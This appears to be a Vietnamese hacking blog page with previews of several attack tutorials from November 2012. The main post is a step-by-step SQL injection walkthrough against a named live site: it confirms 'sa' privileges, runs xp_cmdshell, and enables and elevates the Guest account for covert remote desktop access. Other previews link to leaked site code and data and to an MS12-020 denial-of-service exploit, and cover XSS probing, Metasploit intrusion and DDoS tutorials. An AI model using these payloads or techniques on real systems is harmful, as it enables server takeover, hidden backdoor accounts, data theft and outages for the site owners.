HandsTeam - Hacking And Security

18 thg 11, 2012

Wapbuilser- Share code + Data VietWap.Us

code wapbuilder của htto://vietwap.us cho mọi người , Buil lại Sẻver và cài cUrl cho VDS ko dc , nãn thấy má cái VDS luôn
Mọi người không cần biết tại sao Zip dc và tại sao có nhé . Chẳng qua cũng chỉ là Bugs mà thôi
Link down
Code : http://www.mediafire.com/?xmr70y5pf26n4ya
Data: http://www.mediafire.com/?2l2yzde2vwcdgc8

Nguồn : internet Xem chi tiết »

Cách tạo user để remote desktop khi có quyền Sa

Việc kiếm 1 con Server, VPS ngon ngon để nghịch ngợm, ddos hay làm gì đó. Nhưng buy thì hơi khó với thời buổi hiện nay.
Đầu tiên thì ta cần phải có đc victim
http://www.domain.com/product_category.asp?categoryL1=106'

Lỗi

Code:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string '106'order by mscategory.L2order, mssubcategories.L3order'.
/side_nav_02.asp, line 27

Tiếp theo là ta phải kiểm tra xem nó có quyền sa ko? ta sử dụng cậu lệnh sau:

Code:

http://www.domain.com/product_category.asp?categoryL1=106%27and%201=convert%28int,system_user%29--sp_password

Và ta được kết quả như sau:

Code:

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'sa' to a column of data type int.

Như này là dính Sa rồi đó
Công việc tiếp theo là ta
là đổ lệnh ip config vào table đẻ check ip server, cũng có thể bỏ qua bước này

Code:

http://www.Domain.com/product_category.asp?categoryL1=106';drop table abc create table abc (id int identity,nd varchar(1000)) insert into abc(nd) exec master..xp_cmdshell 'ipconfig'--sp_password

Như vậy là ta đã tạo đc 1 table mang tên A_ShiNiChi_VHC
Sau đó ta sẽ convert nó để xem ip là gì nhé

Code:

http://www.heartsaverinc.com/product_category.asp?categoryL1=106%27and%201=convert%28int,%28select%20top%201%20nd%20from%20abc%20where%20nd%20like%20%28%27%25Ip%20address%25%27%29%29%29--sp_password

Ra Ip rồi nè

Code:

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ' IP Address. . . . . . . . . . . . : 67.43.167.119 ' to a column of data type int.

Tiếp theo thì mình sẽ tạo user và active nó, nâng quyền ngang với administrator để remote.
Thường thường thì Computer sẽ có thêm 1 user mặc định nữa đó là Guest.
Vì thế Shi sẽ chọn nó như vậy thì khi remote hoặc làm gì đỡ bị thằng chủ server phát hiện
Lưu ý: nếu remote xong rồi thì sau khi ko sử dụng nó nữa thì bạn nên Log off đi
1/ Tạo account Guest và active nó

Code:

http://www.heartsaverinc.com/product_category.asp?categoryL1=106;exec master..xp_cmdshell 'net user guest /active:yes';--sp_password

2/ Tạo pass cho acc guest

Code:

http://www.heartsaverinc.com/product_category.asp?categoryL1=106';exec master..xp_cmdshell 'net user guest 123456';--sp_password

Ở đây "123456" là pass
3/ Nâng quyền cho acc guest

Code:

http://www.heartsaverinc.com/product_category.asp?categoryL1=106';exec master..xp_cmdshell 'net localgroup administrators guest /add';--sp_password

Như vậy là đã xong rồi Xem chi tiết »

[Tutorial] Tut check XSS locate.apple.com theo phương thức Post

Victim: locate.apple.com

Công cụ: Live HTTP để bắt các request
Bước 1: Vào trang chủ:locate.apple.com

Click chuột vào tab Services, Bật Live HTTP sau đó bắt request

Bước 2:Bật Live HTTP chương trình như sau

Bước 3:Các bạn nhìn thấy request Post trong hình rồi bây giờ click tab header->Để ý vào mục Post-> sau đo click vào Replay để request lại

Bước 4:Để ý trong nội dung Send Post content?. Mình sẽ thêm Script XSS ở đây mình thêm script sau
<script>alert('Check by kakavn_85')</script> sau vị trí location=

Sai đó ấn nút replay đợi 1 lúc sẽ hiện ra kết quả như sau

End Tut: kakavn_85
Xem chi tiết »

[Exploit] ms12-020 Remote Desktop DoS

Lỗ hổng này được công bố khá là lâu rồi nhưng chắc vẫn sẽ có nhiều máy bị dính. Ảnh hưởng như thế nào thì tất cả chúng ta đọc bài này đều biết
-- Lỗ hổng này sẽ làm cho máy bị tấn công lập tức bị cash ( màn hình xanh chết chóc )
-- Thông tin chi tiết về các phiên bản bị ảnh hưởng xem tại
http://technet.microsoft.com/en-us/security/bulletin/ms12-020

Code Exploit
http://www.mediafire.com/?sl3bgmcv4717i4l
http://www.mediafire.com/?91mtp37ubnx8cf6

Demo:

http://www.mediafire.com/?3t2666v2du6guro
http://www.mediafire.com/?byq3b8gvuftpbu7
Xem chi tiết »

Video tut ActiveX IE + DNS spoof

Đây là video mình làm như lỗi activex IE . Tính khai trương source mới CEH sẽ khai trương nhưng thấy dạo này forum ít "hot" quá nên mình xin hâm "hot" lun ^.^
**1 chú ý quan trọng: nhớ stop ettercap trước khi tắt nhé. vì nếu tắt ngang xương thì sẽ rớt mạng như chơi ^.^

Xem chi tiết »

Tut Social engineering toolkit

social engineering by talentkong.ceh.vn

Xem chi tiết »

Tut Xâm nhập máy tính =Backtrack 5 -remote desktop(Phần 2)

Về remote desktop sau khi đã chiếm được cmd của victim. Hôm nay mình xin làm tiếp phần remote desktop . Mình sẽ sử dụng VNC remote desktop . Nào mời các bạn cùng tham khảo ^.^

Xem chi tiết »

Tut Xâm nhập máy tính =Backtrack 5 (Phần 1)

Mời các newbie tìm hiểu về metaploit hiểu thêm về cách xâm nhập máy tính. bài này mang tính chất tham khảo cho newbie nên các pro biết rồi thì xin nhẹ tay cho ^.^ Đây là tut chiếm CMD victim. bài sau mình sẽ hướng dẫn cách remote desktop khi đã có cmd victim

Xem chi tiết »

15 thg 11, 2012

[TUT] Ddos site bằng backtrack

Nguồn internet

Xem chi tiết »

Hướng dẫn tạo Sock 5 private bằng SSH

1. Sử dụng Putty
Nhân tiện được thằng bạn cho con VPS mình có cài hệ điều hành Centos và cài SSH để có thể tạo sock5 Private luôn. Nếu bạn nào không có host hỗ trợ SSH có thể vào các link này để đăng ký

Shellmix.com
CJB.NET

Thông số VPS của mình:
ip=36.55.234.191
port=3843 (Port cấu hình SSH mặc định là port 22)

Bước 1: Cấu hình host hỗ trợ SSH. VPS của mình cài centos vậy chỉ cài gói SSHD là okie.
Bước 2: Download phần mềm Putty
Link Download :http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html
lựa chọn phiên bản phù hợp rồi cái nhé
Bước 3: Cấu hình
-Bật chương trình Putty phù hợp với thông số cấu hình SSH